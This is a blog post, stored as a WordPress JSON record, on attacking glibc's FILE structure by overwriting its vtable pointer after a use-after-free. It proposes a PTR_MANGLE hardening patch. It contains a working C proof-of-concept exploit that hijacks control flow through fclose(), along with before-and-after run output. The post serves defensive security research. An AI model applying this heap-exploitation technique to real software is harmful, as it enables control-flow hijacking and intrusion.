{"id":548,"date":"2011-12-22T16:46:21","date_gmt":"2011-12-23T00:46:21","guid":{"rendered":"http:\/\/www.outflux.net\/blog\/?p=548"},"modified":"2022-01-14T11:32:42","modified_gmt":"2022-01-14T19:32:42","slug":"abusing-the-file-structure","status":"publish","type":"post","link":"https:\/\/outflux.net\/blog\/archives\/2011\/12\/22\/abusing-the-file-structure\/","title":{"rendered":"abusing the FILE structure"},"content":{"rendered":"

When attacking a process, one interesting target on the heap is the FILE<\/code> structure used with “stream functions” (fopen()<\/code>, fread()<\/code>, fclose()<\/code>, etc) in glibc. Most of the FILE<\/code> structure (struct _IO_FILE<\/code> internally)<\/a> is pointers to the various memory buffers used for the stream, flags, etc. What’s interesting is that this isn’t actually the entire structure. When a new FILE<\/code> structure is allocated and its pointer returned from fopen()<\/code>, glibc has actually allocated an internal structure called struct _IO_FILE_plus<\/code>, which contains struct _IO_FILE<\/code> and a pointer to struct _IO_jump_t<\/code>, which in turn contains a list of pointers for all the functions attached to the FILE<\/code>. This is its vtable, which, just like C++ vtables<\/a>, is used whenever any stream function is called with the FILE<\/code>. So on the heap, we have:<\/p>\n

\"glibc<\/p>\n

In the face of use-after-free<\/a>, heap overflows<\/a>, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()<\/code>\/longjmp()<\/code><\/a>, atexit()<\/code><\/a>, etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE<\/code>\/PTR_DEMANGLE<\/code><\/a> to protect these latter functions, but until now hasn’t protected the FILE structure in the same way.<\/p>\n

I’m hoping to change this, and have introduced a patch<\/a> to use PTR_MANGLE<\/code> on the vtable pointer. Hopefully I haven’t overlooked something, since I’d really like to see this get in. FILE<\/code> structure usage is a fair bit more common than setjmp()<\/code> and atexit()<\/code> usage. :)<\/p>\n

Here’s a quick exploit demonstration in a trivial use-after-free scenario:<\/p>\n

\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\nvoid pwn(void)\r\n{\r\n    printf(\"Dave, my mind is going.\\n\");\r\n    fflush(stdout);\r\n}\r\n\r\nvoid * funcs[] = {\r\n    NULL, \/\/ \"extra word\"\r\n    NULL, \/\/ DUMMY\r\n    exit, \/\/ finish\r\n    NULL, \/\/ overflow\r\n    NULL, \/\/ underflow\r\n    NULL, \/\/ uflow\r\n    NULL, \/\/ pbackfail\r\n    NULL, \/\/ xsputn\r\n    NULL, \/\/ xsgetn\r\n    NULL, \/\/ seekoff\r\n    NULL, \/\/ seekpos\r\n    NULL, \/\/ setbuf\r\n    NULL, \/\/ sync\r\n    NULL, \/\/ doallocate\r\n    NULL, \/\/ read\r\n    NULL, \/\/ write\r\n    NULL, \/\/ seek\r\n    pwn,  \/\/ close\r\n    NULL, \/\/ stat\r\n    NULL, \/\/ showmanyc\r\n    NULL, \/\/ imbue\r\n};\r\n\r\nint main(int argc, char * argv[])\r\n{   \r\n    FILE *fp;\r\n    unsigned char *str;\r\n\r\n    printf(\"sizeof(FILE): 0x%x\\n\", sizeof(FILE));\r\n\r\n    \/* Allocate and free enough for a FILE plus a pointer. *\/\r\n    str = malloc(sizeof(FILE) + sizeof(void *));\r\n    printf(\"freeing %p\\n\", str);\r\n    free(str);\r\n\r\n    \/* Open a file, observe it ended up at previous location. *\/\r\n    if (!(fp = fopen(\"\/dev\/null\", \"r\"))) {\r\n        perror(\"fopen\");\r\n        return 1;\r\n    }\r\n    printf(\"FILE got %p\\n\", fp);\r\n    printf(\"_IO_jump_t @ %p is 0x%08lx\\n\",\r\n           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));\r\n\r\n    \/* Overwrite vtable pointer. *\/\r\n    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;\r\n    printf(\"_IO_jump_t @ %p now 0x%08lx\\n\",\r\n           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));\r\n\r\n    \/* Trigger call to pwn(). *\/\r\n    fclose(fp);\r\n\r\n    return 0;\r\n}\r\n<\/pre>\n
Before the patch:<\/p>\n
\r\n$ .\/mini\r\nsizeof(FILE): 0x94\r\nfreeing 0x9846008\r\nFILE got 0x9846008\r\n_IO_jump_t @ 0x984609c is 0xf7796aa0\r\n_IO_jump_t @ 0x984609c now 0x0804a060\r\nDave, my mind is going.\r\n<\/pre>\n
After the patch:<\/p>\n
\r\n$ .\/mini\r\nsizeof(FILE): 0x94\r\nfreeing 0x9846008\r\nFILE got 0x9846008\r\n_IO_jump_t @ 0x984609c is 0x3a4125f8\r\n_IO_jump_t @ 0x984609c now 0x0804a060\r\nSegmentation fault\r\n<\/pre>\n
Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I’d like to see this fixed too, but it’ll require more time to study. :)<\/p>\n
Update:<\/strong> This specific patch was never taken upstream, but five years later, some vtable validation was added: Bugzilla<\/a>, Commit<\/a>.<\/p>\n
© 2011 – 2022, Kees Cook<\/a>. This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 License<\/a>.
\"CC<\/a> <\/p>\n","protected":false},"excerpt":{"rendered":"
When attacking a process, one interesting target on the heap is the FILE structure used with “stream functions” (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What’s interesting is that this isn’t actually the entire structure. […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,18,6,14,19],"tags":[],"_links":{"self":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts\/548"}],"collection":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/comments?post=548"}],"version-history":[{"count":16,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts\/548\/revisions"}],"predecessor-version":[{"id":1565,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts\/548\/revisions\/1565"}],"wp:attachment":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/media?parent=548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/categories?post=548"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/tags?post=548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}